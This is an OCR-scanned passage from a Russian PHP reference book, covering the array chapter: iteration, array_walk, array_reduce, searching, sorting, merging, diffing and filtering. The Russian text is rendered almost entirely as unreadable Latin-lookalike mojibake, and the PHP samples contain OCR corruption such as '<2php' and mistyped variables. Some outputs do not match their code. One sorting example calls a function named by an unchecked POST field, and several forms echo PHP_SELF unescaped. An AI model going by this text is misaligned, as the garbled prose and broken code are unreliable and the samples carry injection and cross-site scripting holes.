GbyHKUMH U1 yCTAHOBKH, NIepeMelleHust i cOpoca nTepaTopa:
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e current{) — BO3BpAllla€T 3JIEMEHT, HA KOTOPBIA B JAHHBIH MOMEHT yKa-
3BIBAET UTEPATOP;

® resel() — mepeMellaeT UTEPATOP HA NEPBbIM 3JIEMEHT B MacCUBE U BO3-
Bpalla€eT €ero;

® next{) — nepeMellaeT MTEPaTOp Ha CJeIylOUIMH 57€MEHT B MacCHBe
Y BO3BpalIIaeT €ro;

e prev() — mepeMelaeT UTepaTOp Ha NpPebIAyIIMHA 3JEMEHT B MaccHBe
Y BO3BPALIAET €I0;

e end() — mepeMelaeT UTEPATOP Ha MOCJTEIHUN 3JIEMEHT MacCUBa M BO3-
BPAlLIAeT €ro;

® each() — BO3BpallaeT K104 UM 3HaueHUe TEKYILEro dJIeMEHTa B BUJE Mac-
CHBa U NepeMelIaeT UTepaTop Ha CJaeLyIoLUIUi 2JIEMEHT B MACCHUBE;

¢ key() — BO3BpalllaeT K04 TEKYIIETO 3J1EMEHTA.

DyHKUMS each() UCMOIb3YeTCA AMs MKJIA 10 31eMeHTaM MaccuBa. OHa obpa-
GaThIBAET 3JIEMEHTBI B COOTBETCTBUU C X BHYTPEHHUM MOPSIAKOM:

reset{$addresses);

while (list{$key, $value) = each($addresses)) {
echo “{$key} = {$value}<br />\n";
}

BeiBOS:

0 = spam@cyberpromo.net
1 = abuse@example.com

B maHHOM ciy4yae He CO3/aeTcs KONMMS MacCuBa, KaK B ciydae ¢ foreach. ITO
T0JIE3HO 1711 06pabOTKU 04eHb OObIUIMX MACCUBOB J1JIsi 9SKOHOMHH TaMSITH.

DyHKIMM-UTEPATOPHI TIOJIE3HBI, KOT/Ia Bbl HYK/JIaeTECh PACCMOTPETb HEKOTO-
pbl€ YAaCTH MacCHBa OTJENbHO OT Apyrux. [Ipumep 5.1 neMoHcTpUpyeT Kox, Ko-
TOPbIH cTpoUT Tab.uily, 06pabaThiBasi MEPBbIi HHAEKC U 3HAYEHUE ACCOLIUATUB-
HOT'O MaccHBa KakK 3aroJI0BOK TabJIMIIbI.
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NMpumep 5.1. Nocrpoenue TabanLs C NOMOLLLI0 QYHKLMA NTEPATOPOR

L O Y Yy

$ages = array(
'Ums' => "Bospact”,
'@pen' => 35,
'Bapuu' => 30,
Turp' => 8,
Tlyx' => 40

L T Ty Y



..............

// HauuHaeT Tabnuuy 1 nevaraet 3aronosok
reset($ages);

list{$c1, $c2) = each($ages);
echo("<table>\n<tr><th>{$c1}</th><th>{ $c2} </th></tr>\n");

// BHBOAUT OCTABLIMECS 3HAYEHMS

while (list{$c1, $c2) = each($ages)) {
echo("<tr><td>{$c1}</td><td>{ $c2}</td></tr>\n");

)

// 3asepuwaet Tabnuuy
echo("</table>");

NSNS EEES S SRR E RN

WUcnonb3oBanue uukna for

Ecnu BbI 3HaeTe, 4TO MMeeTe €710 C MUHAEKCHPYEMOM MacCHUBOM, I/le KJIOYH — MO-
cJlefoBaTesIbHbIE LeJIble YUCa, HayuHaloluecs ¢ 0, BbI MOXKeTe UCIOJIb30BaTh
UUKJ for Ans1 mpoxona no uHaekcaM MaccuBa. OnepaTop for onepupyer Hemno-
CPEICTBEHHO C MAacCHBOM, a He C ero Komnuei (Kak 3To aesaet foreach) u 0bpa-
6aThIBaeT 3JIEMEHThI BO BHYTPEHHEM TMOPSI/IKE CJIeIOBAHUSI.

paCCMOTpHM, KaK BbIBECTU MAaCCHUB, UCITOJIb3YyA LUK for:
$addresses = array(”spam@cyberpromo.net”, “abuse@example.com”);

$addressCount = count($addresses);

for ($i = O; $i < $addressCount; $i++) {
$value = $addresses[$i];
echo “{ $value}\n";

)
BeiBoxa:

spam@cyberpromo.net
abuse@example.com

Bbi30B pyHKUMK ANA KXAOTO 31IEMEHTa MacCHBa

PHP npenocrtaBisier MexaHusM, (yHKUMIO array_walk() 1JIs1 BBI30Ba IOJIb30-
BaTeJIbCKON QYHKIMH 151 KQXKI0r0 3JIeMeHTa MacCHBa:

array_walk(array, callable);

DyHKILMSA, KOTOPYIO Bbl ONpejessieTe NPUHUMAET 1Ba WJIM, OMIMOHAIBHO, TPU
apryMmeHTa: epBbIi — 3TO 3HaHEeHHUE 3JIeMEHTa, BTOPOU — KJIIOY 3JIEeMEHTa, a Tpe-
THI — OyzeT nepelaH B KadyeCTBe TPETbero napamerpa B (yHKIMIO 0OpPaTHOro
BbI30Ba. PaccMOTpUM /1pyroii cnocob BbIBOJAA CTONOLOB TabJIHIIbI, CO3IaHHOM U3
3HaYeHUH MacCHBa:
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$callback = function printRow($value, $key)

{
)

print("<tr><td> { $value}</td><td>{ $key } </td></tr>\n");

$person = array('name' => “®pen”, 'age' => 35, 'wife' => “Bunsma”);

array_walk($person, $callback);

3MeHUM 3TOT npUMep Tak, YTOObI ONpeessATh 1BET qJOHa; WCIOJIb3Ys AOMNOJ-
HUTEJbHBI TPEeTHI napaMeTp array_walk (). ITOT napaMeTp IpeAOCTaBJsIeT
HaM rubKoCTb, HEOOXOIUMYIO 75l BbIBO/Ia MHOXeCTBa TabJIu1l C pa3HbIMH (hOHO-
BBIMH LIBETaMH:

function printRow($value, $key, $color)
echo “<tr>\n<td bgcolor=\" { $color}\">{ $value}</td>";

echo “<td bgcolor=\" { $color} \">{ $key} </td>\n</tr>\n");
}

$person = array('name' => “®pen”, 'age’ => 35, 'wife' => “Bunsma”);
echo “<table border=\"1\">";
array_walk($person, “printRow”, “lightblue”);

echo “</table>";

Ecau Y BaC €CTb HECKOJIbKO [TapaME€TPOB, KOTOPbIE€ Bbl XOTUTE NE€PEAATDb B BbI3bl-
BaeMylo (byHKL[PIIO) IMPOCTO nepez{aﬁTe MaCCHUB B Ka4€CTB€ TPETbEro lapaMeTpa.

$extraData = array('border' => 2, 'color' => “kpacuiit”);

" n

$baseArray = array(“Ford”, “Chrysler”, “Volkswagen”, “Honda”, “Toyota”);
array_walk($baseArray, “walkFunction”, $extraData);

function walkFunction($item, $index, $data)

{
echo “{ $item} <- anemenT, 3atem rpanmua: { $data['border']}”;
echo “ uset->{ $data['color']}<br />" ;

}
Pesynbrar:

Ford <- anemeHT, 3aTem rpaHuLa: 2 UBET->KPACHbIA
Crysler <- anemeHT, 3aTeM rpaHMLA: 2 LBET->KPACHBIM
VW <- 3nemeHT, 3aTem rpaHmuua: 2 LBET->KPACHbIN
Honda <- snemeHT, 3aTem rpaHMLa: 2 LBET->KPACHIH
Toyota <- aneMmeHT, 3aTeM rpaHMLA: 2 LBET->KPACHBIN

ODyHK1HA array_walk() 06pabaThIBaeT 3J1EMEHTHI B HX BHYTPEHHEM TIOPSIIKE.
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Cokxpaluenue maccusa

ODyHKuMA  array_reduce() (ZaJbHUM POACTBEHHUK array_walk()) npuMeHs-
€T 110JIb30BATEIbCKYI0 (PYHKIHMIO K KaXKI0MY 3JIEMEHTY MacCHBa, 4TOObI B UTOTE
CBECTH MaCCHUB K eJIMHCTBEHHOMY 3HaYEHHIO:

$result= array_reduce(array, callable [, default ]);

DyHKIMS NPUHUMAET /1Ba apryMeHTa: o0liee 3Ha4eHHe U TeKyllee o6pabaTbiBa-
emoe 3Hauenne. DyHKIHKSA N0KHA BEPHYTh HOBOE 061iee 3HaueHne. Hanpumep,
4TOOBI BBIYUCIUTH CyMMY KBaJpaTOB 3HAYEHUH MacCHBa, UCIIOJIb3YETCS CIEMy-
IOLIMI KOZ:

$callback = function additUp($runningTotal, $currentValue)

i
$runningTotal += $currentValue * $currentValue;

return $runningTotal;

);

$numbers = array(2, 3, 5, 7);
$total = array_reduce($numbers, $callback);

echo $total;

Pesysbrar:
87

DyHKUKSA array_reduce() A€J1a€T CIeAYONME BbI30BbI DYHKUHMIL:

additUp(0, 2);
additUp(4, 3);
additUp(13, 5);
additUp(38, 7);

AprymeHT default, ecnv oH npefoCTaBIIeH, 3a/laeT HayajibHOe 00lliee 3HaYEHHE.
HanpuMep, eciu Mbl M3MEHHM BBI30B array_reduce() B MpeIbIAYIeM MpHUMe-
pe Ha:

$total = array_reduce($numbers, “addItUp”, 11);

To nonyuum caeaymoire Bbi30Bbl GYHKIUH:

additUp(11, 2);
additUp(15, 3);
addltUp(24, 5);
oddItUp(49, 7);

Ecnu MaccuB nycT, array_reduce() BO3BpalllaeT 3HAayeHHE MO YMOJIYAHHUIO.
Ecnu 3HaueHne nmo yMoJlUaHMIO He yKa3aHO M MAacCCHUB IYCT, array_reduce()
Bo3Bpalaet NULL.
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Mounck 3HaueHniu

ODyHKUMS in_array() BO3BpalllaeT true WU false, B 3aBUCUMOCTH SIBJISIET-
Cs1 JIM IepBbIM apryMeHT 3JIeMEHTOM MaCcCHBa, 3aIaHHOTO BO BTOPOM apryMeHTe:

if (in_array(to_find, array [, strict])) { ... }

Ecsn 3azaH TpeTuil apryMeHT M OH paBeH true, THUIIbl JaHHBIX apryMeHTa to_
find v HaiileHHOrO 3HaYeHUs] B MacCUBe JOJDKHBI coBnajarhb. [1o yMonyaHuio
IIpOBepPKa THIIOB JaHHbIX He IPOU3BOAMUTCSL.

PaccmotpuM npoctoit npumep:

$addresses = array(”spam@cyberpromo.net”, “abuse@example.com”, “root@example.com”);
$gotSpam =in_array(“spam@cyberpromo.net’, $addresses); // $gotSpam = true
$gotMilk = in_array("milk@tucows.com”, $addresses); // $gotMilk= false

PHP aBTOMaTMuyecku HMHIEKCUpYeT 3HaYeHUs] B MACCHBeE, MO3TOMY in_array()
ropas/io 6bICTpee, YeM MPOBEPKA KaX/J0r0 3HaYeHUsI B 1IMKJIE, YTOOBI HAMTHU TO,
4TO BaM HY3KHO.

[Ipumep 5.2 npoBepsieT, BBeJ JiM 10Jb30BaTelb HHGOPMALIUIO BO BCex 0bsi3a-
TeJsIbHble M10J151 GOPMBI.

Npumep 5.2. Nouck 8 Maccuse  :

<gphp
function hasRequired($array, $requiredFields)

{
$keys = array_keys|($array);

foreach ($requiredFields as $fieldName) {
if (lin_array($fieldName, $keys)) {
return false;

}
if (strlen($array( $fieldName])===0)
return false;

}

return true;

}

if ($_POST['submitted’]) {
echo “<p>Bu “;
echo hasRequired($_POST, array('name’, 'email_address')) 2 “* : “ne”;

echo ” 3anonHunu sce obasatensHsie nons hopmel.</p>";



..............

<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="POST">
<p>
Mwms: <input type="text" name="name"” /><br />
Email address: <input type="text" name="email_address” /><br />
Bospacr (optional): <input type="text" name="age" /></p>
<p align="center"><input type=" submit” value="Mepepats name="submitted” /></p>
</form>

BapuantoM &yHKIMM in_array() sBisieTcss (GYHKUUS  array_search(). Ecom
in_array() BO3BpallaeT true, €CJAM 3HaYeHUe HaIEHO, array_search() BO3-
BpallaeT KJII0Y 3JIEMEHTA, eCJIM OH Hal/IeH:

$person = array('ums’ => "®pen”, ‘sozpact’ => 35, ‘xena’ => “Bunsma”);
$k = array_search("Bunsma”, $person);

echo("{$k} ®pena - Bunsma\n"};
BeiBoz:
xeHa Ppena - Bunbma

DyHKUUSA array_search() Tak)xke NPUHUMAEeT HeOoOs3aTeNIbHBIA TPETHIl apry-
MEHT, KOTOPbIii TpeOyET, YTOObI TUITHI HCKOMOTO 3HAYE€HHs ¥ 3HAUEHUsI B MACCHU-
Be COOTBETCTBOBAJIH.

5.8. CoptupoBka

CopTupoBKa U3MeHsSIeT BHYTPEHHUN MOPSIIOK 3JIEMEHTOB B MacCHUBE M OILIMO-
HaJIbHO [lepe3alMChIBaeT KUY 1 0TOOpaXkeHHst 3Toro HoBoro nopsiaka. Ha-
NpuMep, Bbl MOJXETe HCIIONb30BaTh COPTUPOBKY /[JIs1 YNOPSIAOYMBAHUS CIIH-
cka 6a/10B OT GOJIBIIETO K MEHbILEMY, BHIBOAA B aIhaBUTHOM MOPSIIKE CIIHMCKA
MMEH, WIH JIIS1 BBIBOJIA CIIMCKA I10JIb30BaTe el HA OCHOBAaHUH TOTO, KTO, CKOJIb-
KO COO01EeHHIT OTIIPABUIL.

Sssik PHP npenocrasnsier Tpy crocoba COPTUPOBKM MAacCHUBOB — I10 KJIIOYaM,
10 3HaYeHUsIM 6e3 U3MEHEHHUS KII0Yel UIH 110 3HAYEHUSIM C H3MEHEHHEM KJTI0-
ueil. Kaxkaplit BUI COPTHPOBKM MOXKET GbITh BHITIOJIHEH B MOPSIIKE BO3PACTaHuUs,
yObIBaHUS UJIH B TOPSIIKE, ONPEAEJEHHOM [0Ib30BaTENbCKON HYHKIHENL.

CopTupoBKa 0AHOr0 MacCHBa 3a OAMH pa3

Oyukuuy, npegocrasiednbie PHP 1715 copTMPOBKYM MaccuBa, MOKa3aHbl B TaO-
Jane 5.1.
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Tabnuua 5.1. Oynkuuu PHP ana copTpOBKM MaccHBOB

n B
Addexr Mo so3pacTauuio Mo y6biBaHMIO ONBIOBANENLAKAR
copTUpOBKa

CopTupyeT no 3Ha-

4YeHusM, a 3aTeM 3a-

HOBO Ha3HaYaeT WH- sort() rsort() usor()
[EKChl, HaumHas ¢ 0

CopTupyetr Maccus

M0 3HAYEHVAM asort() arsort() vasort()
CopTupyetr Maccus

Mo KNIoYam ksort() krsort() uksort()

(DyHKuml sort(), rsort) W usort) mNpegHasHaueHbl s PabOTbl C HHIEK-
CHPYEMbIMH MaCCUBaMH, NMOCKOJIbKY OHH IIPUCBAUBAIOT HOBbIE YUCJIOBbIE KJIIO-
YU ¥ TaKuM 06pa3oM peannsyrot copTupoBKY. OHU M0JIe3HbI, KOT/1a Bbl JOJKHBI
OTBETUTDb Ha Borpockl Bpoje: “Kakue 10 cambix Boicokux 6annos?”, “Kro Tperuit
no andaBuTHOMY nopsiaky” u T.4. JIpyrue GyHKUUMU COPTUPOBKHU MOTYT ObITh
MCIOJIb30BaHbl HA UHJEKCUPYEMbBIX MACCHUBaX, HO MOJYUTb JOCTYN K OTCOPTH-
POBaHHOMY IOPSIAKY Bbl CMOXKETE, TOJIbKO UCMOJb3Ysl (hyHKLMK 06X0/1a, HAMPH-
Mep, foraech U next.

ZIJIH COPTHPOBKH UMEH I10 an(baBmy, BBIIIOJIHUTE Cjeayrliue ﬂeﬁCTBMHI

$names = array("Kara”, “Anuxena”, “Buka”, “Mapuna”);
sort{$names); // $names = array("Anxena”, “Buxa”, “Kars”, “Mapuna”)

Yrtob6bl MOTYYHUTH CIUCOK UMEH B 0O6paTHOM ajihaBUTHOM MOPSIIKE, TPOCTO UC-
MOJIb3YHTE rsort() BMECTO sort().

Ecnu y Bac ecTb accouMaTUBHBIA MacCUB, COAEPKalllMii KMeHa MoJb30BaTesei
Y BpeMsI CECCUM KaXKIOTO U3 HUX, Bbl MOXETEe MCIOJIb30BaTh (DYHKLHIO arsort()
17151 0TOOpaXKeHUs TPeX MOJIb30BaTeIel, HAXOAALMXCS Ha caiiTe GOJIble BCEro
BpEMEHU:

$logins = array(
nit => 415,
k' => 492,
l'=> 652,
't => 441,
it => 441,
'wt => 402,
'hut' => 309,

)

arsort{$logins);
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$numPrinted = 0;
echo “<table>\n";

foreach ($logins as $user => $time) {
echo("<tr><td>{ $user} </td><td>{ $time}</td></tr>\n");

if (++$numPrinted == 3) {
break; // seisBoaum Toneko 3 nonb3osatens

}
}

echo “</table>";

Ecau Bbl X0THTE 0TOOPa3uTh Tabsuiy B yObIBaOIEM MOPSIAKE 10 UMEHHU MOJIb-
30BarTesisi, UCNoJIb3yiTe HYHKUHIO ksort().

[Nosnb3oBatenbckasi COPTHPOBKA TPEOYET OT Bac npeaoctaBieHust GyHKIUH, KO-
TOpasl IDUHUMAET [iBa 3Hau€HHs U BO3BpalllaeT 3HaYeHUe, KOTOPOe ONpenesIsieT
TNOPSIIOK /IBYX INepeJJaHHbIX 3HaYeHHii B OTCOPTUPOBaHHOM MaccuBe. DyHKuMs
JI0JI)KHA BEPHYTH 1, €CJIM 1IePBOe 3HaueHHe 6oIblile, Y4eM BTODOE, -1, €CJIH ITEPBOE
3HaueHHe MeHblIe, 4eM BTopoe U O, ecii 3HayeHUs] paBHbI C TOYUKU 3DEHUS Ba-
et GyHKLUUH COPTHPOBKH.

B npumepe 5.3 nporpaMMa no3BoJisieT BaM UCIOJIb30BAaTh pa3Hble GYHKIHH COP-
THPOBKH Ha/l ONHUMHU U TEMU K€ TaHHbIMU.

Mpumep 5.3. Coptupoeka Macceos  :

<2php
function userSort($a, $b)

{

// smarts - 3T0 BaXHO, NO3TOMY COPTMPYEM ero cHaYana
if ($b == “smarts”) {

return 1;

else if ($a == “smarts”) {
return -1;

}

return ($a==$b) 20 : (($a<$b)2-1:1);
}

$values = array|
‘name' => “Buzz Lightyear”,
'email_address' => "buzz@starcommand.gal”,
‘age' => 32,
1 | " "
smarts’ => “some

I E ARSI NN AN SN RN NN NN RN NSNS E NN RSN NS E R mEEsEE



PHP. NonHoe pykoBOACTBO W CNPaBOYHUK PYHKLMA

}
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2>

if ($_POST['submitted']) {

$sortType = $_POST['sort_type'];

if ($sorfType == "usort” | | $sortType == "uksort” | | $sortType == "uasort”) {
$sortType($values, “user_sort");

}

else {
$sortType($values);

}

<form action="<2php echo $_SERVER['PHP_SELF']; 2> " method="post">

<p> >
<input type="radio” name="sort_type”
value="sort" checked="checked” /> CranaaptHas<br />
<inputtype="radio” name="sort_lype" value="rsort" /> O6parnas<br />
<input type="radio” name="sort_type" value="usort” /> Monb3aosarensckas<br />
<input type="radio” name="sort_type” value="ksort" /> Mo kniouam<br />
<inputtype="radio” name="sor_type” value="krsort" />MNokniouamsobparHomnopsaxe<br/>
<input type="radio” name="sort_type”
value="uksort” /> Monb3osatensckas no knouy<br />
<input type="radio” name="sort_type” value="asort” /> Mo anauennio<br />
<input type="radio” name="sort_type"”
value="arsort” /> Mo 3nauenmio (obparnas) value<br />
<input type="radio” name="sort_type"”
value="uasort” /> Monb3osatensckas (no 3nauenuio)<br />
</p>
<p align="center"><input type="submit” value="Sort" name="submitted” /></p>
<p>3nauenns<e=$_POST['submitted’]2"orcoptporarbi { $sorfType}”:“neotcoptuposanbi”;2>:</p>
<ul>
<2php foreach ($values as $key => $value) {
echo "<li><b>{ $key}</b>: { $value }</Ii>";
) o>
</ul>

</form>

HatypanbHbiii nOpSAOK COPTUPOBKK

Bcerpoennble pynkuyun PHP koppekTHO COPTHPYIOT CTPOKH M YUCJIA, HO HE KOP-
PEKTHO paboTaIOT CO CTPOKaMH, coaepkalumu yucia. Hanpumep, eciu y Bac
ectb uMeHa aitnos ex10.php, ex5.php v ex1.php, 06bryHbIE HYHKIIMU COPTUPOB-
KM TepeynopsiiouaT ux B ciedywoluem nopsiake: ex1.php, ex10.php w ex5.php.
[l71s1 KOpPEKTHO COPTUPOBKH CTPOK, COAEPKAIIUX YHCIA, UCTIONb3YHTE BYHK-
LIUHU natsort() U natcasesort():

$output = natsort(input);
$output = natcasesort{input);
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CopTpoBKa HECKONILKMX MaCCHBOB 32 OAMH pa3

DyHKUMA array_multisort() COPTUPYET HECKOJIBKO MaCCHBOB 3a OIMH Pa3:

array_multisort(array1 [, array2, ... ]);

Ilepenaiite el cepuio MacCHBOB U MOPSIAKOB COPTUPOBKHM (33aHHBIX KOHCTaH-
TaMi SORT_ASC U SORT_DESC) M OHa NepeynopsiIOUUT 3JeMEHThI 3TUX MaCCH-
BOB, Ha3HaYMB HOBbIEe MHAEKCh. OHa MogoOHA OMepauuH join B PeNSLHOHHON
6a3e JaHHBIX.

[IpencraBbre, YTO y HAC €CTh MHOTO JIIOIEH U HECKOJIbKO YacTeil JaHHBIX MO KaX-
JI0i1 epcoHe:

$names = array(“Tom", “Ounk”, “Xepur”, “Bpenaa”, “Oxo");

$ages = array(25, 35, 29, 35, 35);

$zips = array(80522,'02140', 90210, 64141, 80522);
[lepBblii a1eMEHT KaXXI0r0 MacCHBa MPECTABJSET OAHY 3aMMCh — BCsA MH(pOpMa-
uus o Tome. AHaJIOrMYHO, BTOPOH 3JIEMEHT MPECTABIISIET BTOPYIO 3aMHUCh — BCIO
undpopmaumio o [duke. DyHKUMS array_multisort() MepeynopsiiouMBaeT
3JIeMEHTbI MAaCCUBOB, COXpaHsis 3anucu. [loatomy ecin /Iuk n0sKeH ObITh B Mac-
cuBe $names nepen ToMoM, To ocTanbHast HHGOPMaUMS B OCTAJIBHBIX ABYX Mac-
CHBaX TaKXke JOJDKHA npeamecTBoBath uHdopmauuu o Tome. (O6paTuTe BHU-
MaHHe, YTO HaM HYXKHO 3aKJIIOYMTh IOYTOBbIM MHAEKC /[MKa B KaBbIYKH, YTOODI
PHP He uHTepnpeTHpOBas €ro Kak BOCbMEPUYHOE 3HAYEHHE).

3mech Mbl COPTHPYEM 3aMMCH CHayaJja 110 Bo3pacTy (B MOPSAAKE BO3pacTaHHsl ),
a 3aTeM B MOpsA/IKe yObIBAHMS 110 MOYTOBOMY MHIAEKCY:

array_multisort{$ages, SORT_ASC, $zips, SORT_DESC, $names, SORT_ASC);
Ham HyXHO BKJIIOYUMTb $names B GYHKLHMIO, YTOOBI yOenUTbCs, 4TO UM JlukKa
OCTAaHETCA C €ro BO3paCTOM U HHAEKCOM. BbIBelIeM pe3yabraT COPTUPOBKH!

for ($i = 0; $i < count($names); $i++) {

echo “{$names[$il}, {$ages[$i]}, {$zips[$i]}\n";
}

BoiBoxa:

Tom, 25, 80522
Xepwr, 29, 90210
Oxo, 35, 80522
Bbpennq, 35, 64141
Ouk, 35,02140

WuBepTupoBaHue MacCHBOB

DyHKUMSA array_reverse() MHBEPTHPYET BHYTPEHHWId MOPSMOK 3JIEMEHTOB
B MacCHUBe:

$reversed = array_reverse(array);
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YucoBble Kawouu OyayT nepeHyMepoBaHbl, HaunHast ¢ 0, CTPOKOBbIE HHIEKCHI
OCTaHYTCS HETPOHYTHIMU. B 00611eM, HAMHOrO JIy4llle UCIOJb30BaTh (YHKIHUH
COPTHPOBKH B 00paTHOM MOPsiIKE BMECTO COPTHPOBKHU MAacCHBA C MOCJEAYI0-
IIMM €r0 HHBEPTUPOBAHUEM.

@DyHKuus array_flip() Bo3Bpaliaer MacCMB Hao0OPOT, TO €CTh KJOYM MacCH-
Ba CTAaHOBSATCS 3HAYEHHSIMH, 2 3HAUEHHs] MacCHBa — KJIIOYaMH.

$flipped = array_flip(array);

Hanpumep, eciu y Bac ecTb MacCUB, OTPAXKAOUIMH HMEHA M0JIb30BaTes el B UX
JOMalllHhe KaTaJlorh, Bbl MOXeTe UCIO0JIb30BaTh array_flip() Ans co3xaHus
MacCCHBa, OTPAXKAIOIIETO JOMAllIHHE KATaJIOTH B UMEHA T10Jib30BaTeJiel:

$u2h = array(
'gnat' => “/home/staff/nathan”,
'frank' => “/home/ action/frank”,
'petermac' => “/home/staff/petermac”,
'ktatroe' => “/home/ staff/kevin”

)

$h2u = array_flip($u2h);
$user = $h2u["/home/staff /kevin”]; // $user = 'ktatroe'

SJieMeHTbI HCXOJIHOT0 MaCCHUBa, HE ABJAAOUIHNECS HU CTPOKaMH, HH LI€JIbIMU YHUC-
JJaMH, OCTAHYTCA HETPOHYTbIMU B PE3YyJIbTUPYIOLIEM MaCCHUBE. HoBriii MmaccuB
MOMOXKET BaM HAWUTH KJIIOUH B OPHUTMHAJIbBHOM MaCCHUBE€ 110 UX 3HAYEHHAM, HO
JaHHBIN METOJ, 3(1)(t)eKTHBeH TOJIBKO TOrJa, Korga y UCXOJHOro MaCCuBa 3Hade-
HUA YHUKAJIbHBI.

CoprupoBka B Cny4aiHOM nopsake

Yrtobbl mepemeliaTh 3J€MEHTHI B CIyYaitHOM MOPSIIKE, UCTOIb3YHTe HYHKIHIO
suffle(). OHa 3aMeHsieT BCe CyILECTBYIOIIME KIIOYH — CTPOKH MJIM YHCJIa — I10-
CJea0BaTeJIbHbBIMHU E€JIbIMH YHCJIaMH, HAYHHAIOIIUMHUCA C 0. PaCCMOTpI/IM, KaK
PaHAOMHU3HPOBATh MOPAAOK AHEH HeleH:

$weekdays = array(“Mw", “Br”, “Cp”, “Hr", "M");

shuffle($weekdays);

print_r($days);

Pesyabrar:

Array(
[0]=>Br
[1]=>Yr
[2]=>Mu
[3]=>Mr
[4]=>Cp
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OueBuaHo, mopsimiok mocye shuffle() MoXeT He coBnNacTb C AE€MOHCTpAlM-
OHHBIM BBIBOJIOM 3/IeCh U3-3a CJIy4yaiiHOIl nmpupoasl pyHkuuu. Ecamu Bam Hyx-
HO MpOCTO BbIOpATh CJAY4allHbINA 3JIEMEHT U3 MAcCHBA, UCNOJIb3YiTe HYHKIHIO
rand() 151 BbIGOPa CaIy4yaitHOro MHIEKCa 31eMeHTa, yTo Gosiee achdekTHBHO.

5.9. Pabora co BcCem MacCUMBOM

B PHP ectp Heckosbko dyHKUMH, KOTOPbIE TPUMEHSIIOTCSI Cpa3dy KO BCeM 3Jie-
MeHTaM MaccuBa. Bbl MoxeTe BbIMOJHUTD CIMSIHME MAacCHBOB, HAMTH pasHULLY
MeXy IBYyMsl MaCCBaMH, BBIYUCIUTb CYMMY BCEX 3IEMEHTOB MacCHBa M T.A.

Boiuucnenune CYMMbl BCEX 3NEeMEeHTOB MacCcuBa

DyHKUUA array_sum() BBIYMCJSIET CYMMY 3Hau€HHH HMHAEKCHMPOBAHHOIO WJIH
accolMaTUBHOIO MacCHBa:

$sum = array_sum(array);

Hanpumep:
$scores = array(98, 76, 56, 80);
$total = array_sum($scores); // $total =310

Coennnense 1ByX MacCHBOB

DyHKUMA array_merge() MHTE/UIEKTyaJbHO 0ObeqUHsieT aABa MM Oosiee Mac-
cuBa:

$merged = array_merge(array1, array2 [, array ... ])

Ecnu yncnoBoit kmou u3 6osee PaHHEro MaccHBa MNMOBTOPSAETCS, 3HAYEHHUIO U3
6oJiee NMO3AHEr0 MaCCHBa NMPHUCBANBAETCA HOBBIH YMCJIOBOH KJIIOY:

]

$first = array(“npuser”, “mup”); // 0=>"npuser”, 1 =>"mup”
$second = array(“exit”, “here”);  // 0=>"exit’, 1 => “apecs”
$merged = array_merge($first, $second);

// $merged = array("npueer”, “mup”, “Bbixon”, “3pecs”)

Ecan CTpOKOBOﬁ KJIFOY 3 pPAHHETO MaCCHBa NMOBTOPAETCS, paHEE€ 3HAYEHHE 6y11€T
3aMEHEHO NMO31HHUM 3HAYEHHEM!

$first = array('6unn’ => “knunton”, ‘Town’ => “panaa”);

$second = array('6unn' => “reitrc”, 'anom' => “sect”);

$merged = array_merge($first, $second);

// $merged = array('6unn’ => “reitrc”, ‘ronn’ => “gamsa”, ‘anam’ => “sect”)
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Boluucnenue pa3HuiLbl MeXAy AByMSA MaCCUBaM#H

Jlpyras yacro ucnosbsdyemast GyHKIMS IPUHUMAET HaboOp MacCHUBOB M BO3Bpa-
1[aeT pa3HHILY, TO €CTh 3HAYEHUST OAHOTO MacCHBa, KOTOPbI€ OTCYTCTBYIOT B APY-
IOM MacCHBe. (Dym(um{ array_diff() BBIYMCJISIeT pa3HULly, BO3BpalllaeT Mac-
CHUB CO 3HaYEHHUSIMU U3 [IEPBOr'O MaCCHUBA, KOTOPBHIX HET BO BTOPOM MaCCHURe:

$diff = array_diff(array1, array2 [, array ... ]);
Hanpumep:

$al = array("6unn”, “xnapa”, “anna”, “caitmon”, "tonus");
5 o

$a2 = array(“axex”, "knapa”, “touu");

o ” P w n .
$a3 = array("anna”, "caiimon”, "ranuna”);

// waiitn snavenns $al, kotopeix vet 8 $a2 unu $a3
$difference = array_diff{($al, $a2, $a3);

print_r($difference);

Pesyiprar:

Array(
[0] => “Bunn”,
[4] => “1onms”

);

3HaueHust CPAaBHUBAIOTCS C UCIIOJIb30BAaHUEM ONEpaTopa ===, 103ToMy 1 U “1”7 —
pa3Hble 3HaueHHUs. Kiouu nmepBOro mMaccuBa COXPAHSIOTCS, MO3TOMY B $diff
KJII0Y 3Ha4eHUs “6unn” paBeH 0, a KJII04 3HaUeHUS “lonus” PaBEH 4.

B 1pyrom npuMepe cieAyoluii Ko BBIYMCISAET Pa3HUILLY ABYX MACCHBOB:
$first = array(1, “pea”, 3);

" w "

$second = array("asa”, “tpu”, “vetbipe”);
$difference = array_diff( $first, $second);

print_r($difference);

Pesynbrar:

Array(
[0]=>1
(2]=>3

)

®unbTpauus 3neMeHTOB MaCCHBa

s BbIIEIeHUsT TOAMHOXEeCTBAa MacCBa HAa OCHOBAaHUHU €ro 3HauUeHUH, MOXHO
UCI0JIb30BaTh PYHKUMIO array_filter():

$filtered = array_filter(array, callback);



naea 5. Maccussl

Kaxmoe 3HaueHue maccuBa array nepenaetcs GpyHKIMHU callback. Bosppamae-
Mblﬁ MaCCHB COIICP}KI/IT TOJIBKO T€ 3JIEMEHTbI UCXOAHOIO MaCCHUBa, AJs KOTOprX
(ynkuus BepHyia trve. Hanpumep:

// HeyeTHbI

$callback = function isOdd ($element)

{

¥

return $element % 2;

$numbers = array(9, 23, 24, 27);

$0dds = array_filter($numbers, $callback);
// $odds =array(0=>9, 1=>23, 3=>27)

Kak Buaure, KI0YM MaccuBa coxpaHsiioTcs. Jta ¢GyHKUMs HauboJiee MoJie3Ha
C aCCOI[MATHBHBIMU MaCcCHBaMHU.

5.10. Ucnonb3oBaHne MaccUBOB

MaccuBbl BeTpevaloTcsi mpaktudecku B Kaxkaod PHP-nporpamme. B momos-
HEHHE K UX HelNocpeJCTBEHHOMY Ha3HAYEHWI0 — XPaHEHMIO KOJLJIEKLUUH 3Ha-
YeHUI — OHM MOTYT TaK)Ke HCIOJIb30BAaThCS IJISI Pealn3alliM Pa3jiNyHbIX ab-
CTPaKTHBIX TUIOB JaHHbIX. B 3TOM paszesie Mbl MOKa)keM, KaK MacCHUBBI MOTYT
UCIIOJIb30BAThCS 7151 Peau3allui MHOXKECTB U CTEKOB.

MuoxecTBa

